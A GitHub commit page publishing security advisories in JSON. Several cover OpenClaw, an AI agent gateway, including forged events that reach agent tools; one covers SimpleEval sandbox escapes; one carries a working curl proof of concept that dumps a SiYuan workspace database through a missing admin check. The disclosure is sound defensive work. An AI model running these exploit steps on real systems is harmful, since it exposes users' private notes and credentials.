Skip to content

Commit b81361c

Browse files
advisory-database[bot]advisory-database[bot]
committed
Publish Advisories
GHSA-2rqg-gjgv-84jm GHSA-44vg-5wv2-h2hg GHSA-4j3x-hhg2-fm2x GHSA-5m9r-p9g7-679c GHSA-g353-mgv3-8pcj GHSA-g93w-mfhg-p222 GHSA-hqjg-pww4-pcgq GHSA-j47w-4g3g-c36v GHSA-r48f-3986-4f9c GHSA-rvv3-g6hj-g44x
1 parent 2cd20f7 commit b81361c

10 files changed

Lines changed: 851 additions & 0 deletions

File tree

‎advisories/github-reviewed/2026/03/GHSA-2rqg-gjgv-84jm/GHSA-2rqg-gjgv-84jm.json‎

Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-2rqg-gjgv-84jm",
4+
"modified": "2026-03-13T20:55:30Z",
5+
"published": "2026-03-13T20:55:30Z",
6+
"aliases": [],
7+
"summary": "OpenClaw: Gateway `agent` calls could override the workspace boundary",
8+
"details": "### Summary\n\nThe public gateway `agent` RPC allowed an authenticated operator with `operator.write` to supply attacker-controlled `spawnedBy` and `workspaceDir` values. That let the caller re-root the agent run outside its configured workspace boundary.\n\n### Impact\n\nA non-owner operator could escape the intended workspace boundary and run normal file and exec tools from an arbitrary process-accessible directory.\n\n### Affected versions\n\n`openclaw` `<= 2026.3.8`\n\n### Patch\n\nFixed in `openclaw` `2026.3.11` and included in later releases such as `2026.3.12`. The gateway now enforces the configured workspace boundary for agent runs regardless of caller-supplied overrides.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "openclaw"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "2026.3.11"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 2026.3.8"
36+
}
37+
}
38+
],
39+
"references": [
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-2rqg-gjgv-84jm"
43+
},
44+
{
45+
"type": "PACKAGE",
46+
"url": "https://github.com/openclaw/openclaw"
47+
},
48+
{
49+
"type": "WEB",
50+
"url": "https://github.com/openclaw/openclaw/releases/tag/v2026.3.11"
51+
}
52+
],
53+
"database_specific": {
54+
"cwe_ids": [
55+
"CWE-668"
56+
],
57+
"severity": "HIGH",
58+
"github_reviewed": true,
59+
"github_reviewed_at": "2026-03-13T20:55:30Z",
60+
"nvd_published_at": null
61+
}
62+
}

‎advisories/github-reviewed/2026/03/GHSA-44vg-5wv2-h2hg/GHSA-44vg-5wv2-h2hg.json‎

Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-44vg-5wv2-h2hg",
4+
"modified": "2026-03-13T20:56:27Z",
5+
"published": "2026-03-13T20:56:26Z",
6+
"aliases": [
7+
"CVE-2026-32640"
8+
],
9+
"summary": "SimpleEval: Objects (including modules) can leak dangerous modules through to direct access inside the sandbox",
10+
"details": "### Impact\nIf the objects passed in as `names` to SimpleEval have modules or other disallowed / dangerous objects available as attrs.\nAdditionally, dangerous functions or modules could be accessed by passing them as callbacks to other safe functions to call.\n\nExamples (found by @ByamB4):\n\nAny module where non-underscore attribute chains reach os or sys:\n- os.path, pathlib, shutil, glob (direct .os / .sys attributes)\n- statistics (has .sys)\n- numpy (has .ctypeslib.os and .f2py.sys)\n- urllib.parse (has .warnings.sys)\n\n### Patches\nThe latest version 1.0.5 has this issue fixed.\n\n### Workarounds\nDon't pass in objects or modules which have direct attributes to potentially dangerous items.\nUse a wrapper to wrap the potentially vulnerable items (See the ModuleWrapper in version 1.0.5)",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "simpleeval"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.0.5"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/danthedeckie/simpleeval/security/advisories/GHSA-44vg-5wv2-h2hg"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/danthedeckie/simpleeval"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/danthedeckie/simpleeval/releases/tag/1.0.5"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-915",
55+
"CWE-94"
56+
],
57+
"severity": "HIGH",
58+
"github_reviewed": true,
59+
"github_reviewed_at": "2026-03-13T20:56:26Z",
60+
"nvd_published_at": null
61+
}
62+
}

‎advisories/github-reviewed/2026/03/GHSA-4j3x-hhg2-fm2x/GHSA-4j3x-hhg2-fm2x.json‎

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-4j3x-hhg2-fm2x",
4+
"modified": "2026-03-13T20:56:47Z",
5+
"published": "2026-03-13T20:56:47Z",
6+
"aliases": [
7+
"CVE-2026-32704"
8+
],
9+
"summary": "SiYuan's renderSprig has a missing admin check that allows any user to read full workspace DB",
10+
"details": "### Summary\n`POST /api/template/renderSprig` lacks `model.CheckAdminRole`, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes.\n\n### Details\n**File:** `kernel/api/router.go`\n\nEvery sensitive endpoint in the codebase uses `model.CheckAuth + model.CheckAdminRole`, but `renderSprig` only has `CheckAuth`:\n\n```go\n// Missing CheckAdminRole\nginServer.Handle(\"POST\", \"/api/template/renderSprig\",\n model.CheckAuth, renderSprig)\n\n// Correct pattern used by all other data endpoints\nginServer.Handle(\"POST\", \"/api/template/render\",\n model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renderTemplate)\n```\n\n`renderSprig` calls `model.RenderGoTemplate` (`kernel/model/template.go`) which registers SQL functions from `kernel/sql/database.go`:\n\n```go\n(*templateFuncMap)[\"querySQL\"] = func(stmt string) (ret []map[string]interface{}) {\n ret, _ = Query(stmt, 1024) // executes raw SELECT, no role check\n return\n}\n```\n\nAny authenticated user - including Publish Service **Reader** role accounts - can call this endpoint and execute arbitrary SELECT queries.\n\n### PoC\n**Environment:**\n```bash\ndocker run -d --name siyuan -p 6806:6806 \\\n -v $(pwd)/workspace:/siyuan/workspace \\\n b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**Exploit:**\n```bash\n# Step 1: Login and retrieve API token\ncurl -s -X POST http://localhost:6806/api/system/loginAuth \\\n -H \"Content-Type: application/json\" \\\n -d '{\"authCode\":\"test123\"}' -c /tmp/siy.cookie\n\nsleep 15 # wait for boot\n\nTOKEN=$(curl -s -X POST http://localhost:6806/api/system/getConf \\\n -b /tmp/siy.cookie -H \"Content-Type: application/json\" -d '{}' \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)['data']['conf']['api']['token'])\")\n\n# Step 2: Execute SQL as non-admin user\ncurl -s -X POST http://localhost:6806/api/template/renderSprig \\\n -H \"Authorization: Token $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"template\":\"{{querySQL \\\"SELECT count(*) as n FROM blocks\\\" | toJson}}\"}'\n```\n\n**Confirmed response on v3.6.0:**\n```json\n{\"code\":0,\"msg\":\"\",\"data\":\"[{\\\"n\\\":0}]\"}\n```\n\n**Full note dump:**\n```bash\ncurl -s -X POST http://localhost:6806/api/template/renderSprig \\\n -H \"Authorization: Token $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"template\":\"{{range $r := (querySQL \\\"SELECT hpath,content FROM blocks LIMIT 100\\\")}}{{$r.hpath}}: {{$r.content}}\\n{{end}}\"}'\n```\n\n### Impact\nAny authenticated user (API token holder, Publish Service Reader) can:\n- Dump **all note content** and document hierarchy from the workspace\n- Exfiltrate tags, custom attributes, block IDs, and timestamps\n- Search notes for stored passwords, API keys, or personal data\n- Enumerate all notebooks and their structure\n\nThis is especially severe in shared or enterprise deployments where lower-privilege accounts should not have access to other users' notes.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/siyuan-note/siyuan/kernel"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "3.6.1"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 3.6.0"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-4j3x-hhg2-fm2x"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/siyuan-note/siyuan/issues/17209"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/siyuan-note/siyuan"
53+
}
54+
],
55+
"database_specific": {
56+
"cwe_ids": [
57+
"CWE-285",
58+
"CWE-732"
59+
],
60+
"severity": "MODERATE",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-13T20:56:47Z",
63+
"nvd_published_at": null
64+
}
65+
}

‎advisories/github-reviewed/2026/03/GHSA-5m9r-p9g7-679c/GHSA-5m9r-p9g7-679c.json‎

Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-5m9r-p9g7-679c",
4+
"modified": "2026-03-13T20:55:38Z",
5+
"published": "2026-03-13T20:55:38Z",
6+
"aliases": [],
7+
"summary": "OpenClaw: Zalo webhook rate limiting could be bypassed before secret validation",
8+
"details": "### Summary\n\nThe Zalo webhook handler applied request rate limiting only after webhook authentication succeeded. Requests with an invalid secret returned `401` but did not count against the rate limiter, allowing repeated secret guesses without triggering `429`.\n\n### Impact\n\nThis made brute-force guessing materially easier for weak but policy-compliant webhook secrets. Once the secret was guessed, an attacker could submit forged Zalo webhook traffic.\n\n### Affected versions\n\n`openclaw` `<= 2026.3.11`\n\n### Patch\n\nFixed in `openclaw` `2026.3.12`. Rate limiting now applies before successful authentication is required, closing the pre-auth brute-force gap. Users should update to `2026.3.12` or later and prefer strong webhook secrets.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V4",
12+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "openclaw"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "2026.3.12"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 2026.3.11"
36+
}
37+
}
38+
],
39+
"references": [
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-5m9r-p9g7-679c"
43+
},
44+
{
45+
"type": "WEB",
46+
"url": "https://github.com/openclaw/openclaw/pull/44173"
47+
},
48+
{
49+
"type": "WEB",
50+
"url": "https://github.com/openclaw/openclaw/commit/f96ba87f033a14183fa0ede912df3a592eef55ff"
51+
},
52+
{
53+
"type": "PACKAGE",
54+
"url": "https://github.com/openclaw/openclaw"
55+
},
56+
{
57+
"type": "WEB",
58+
"url": "https://github.com/openclaw/openclaw/releases/tag/v2026.3.12"
59+
}
60+
],
61+
"database_specific": {
62+
"cwe_ids": [
63+
"CWE-307"
64+
],
65+
"severity": "MODERATE",
66+
"github_reviewed": true,
67+
"github_reviewed_at": "2026-03-13T20:55:38Z",
68+
"nvd_published_at": null
69+
}
70+
}

‎advisories/github-reviewed/2026/03/GHSA-g353-mgv3-8pcj/GHSA-g353-mgv3-8pcj.json‎

Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-g353-mgv3-8pcj",
4+
"modified": "2026-03-13T20:55:34Z",
5+
"published": "2026-03-13T20:55:34Z",
6+
"aliases": [],
7+
"summary": "OpenClaw: Feishu webhook mode accepted forged events when only `verificationToken` was configured",
8+
"details": "### Summary\n\nFeishu webhook mode allowed deployments that configured only `verificationToken` without `encryptKey`. In that state, forged inbound events could be accepted because the weaker configuration did not provide the required cryptographic verification boundary.\n\n### Impact\n\nAn unauthenticated network attacker who could reach the webhook endpoint could inject forged Feishu events, impersonate senders, and potentially trigger downstream tool execution subject to the local agent policy.\n\n### Affected versions\n\n`openclaw` `<= 2026.3.11`\n\n### Patch\n\nFixed in `openclaw` `2026.3.12`. Feishu webhook mode now fails closed unless `encryptKey` is configured, and the webhook transport rejects missing or invalid signatures before dispatch. Update to `2026.3.12` or later and configure `encryptKey` for webhook deployments.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "openclaw"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "2026.3.12"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 2026.3.11"
36+
}
37+
}
38+
],
39+
"references": [
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-g353-mgv3-8pcj"
43+
},
44+
{
45+
"type": "WEB",
46+
"url": "https://github.com/openclaw/openclaw/pull/44087"
47+
},
48+
{
49+
"type": "WEB",
50+
"url": "https://github.com/openclaw/openclaw/commit/7844bc89a1612800810617c823eb0c76ef945804"
51+
},
52+
{
53+
"type": "PACKAGE",
54+
"url": "https://github.com/openclaw/openclaw"
55+
},
56+
{
57+
"type": "WEB",
58+
"url": "https://github.com/openclaw/openclaw/releases/tag/v2026.3.12"
59+
}
60+
],
61+
"database_specific": {
62+
"cwe_ids": [
63+
"CWE-347"
64+
],
65+
"severity": "HIGH",
66+
"github_reviewed": true,
67+
"github_reviewed_at": "2026-03-13T20:55:34Z",
68+
"nvd_published_at": null
69+
}
70+
}

0 commit comments

Comments
 (0)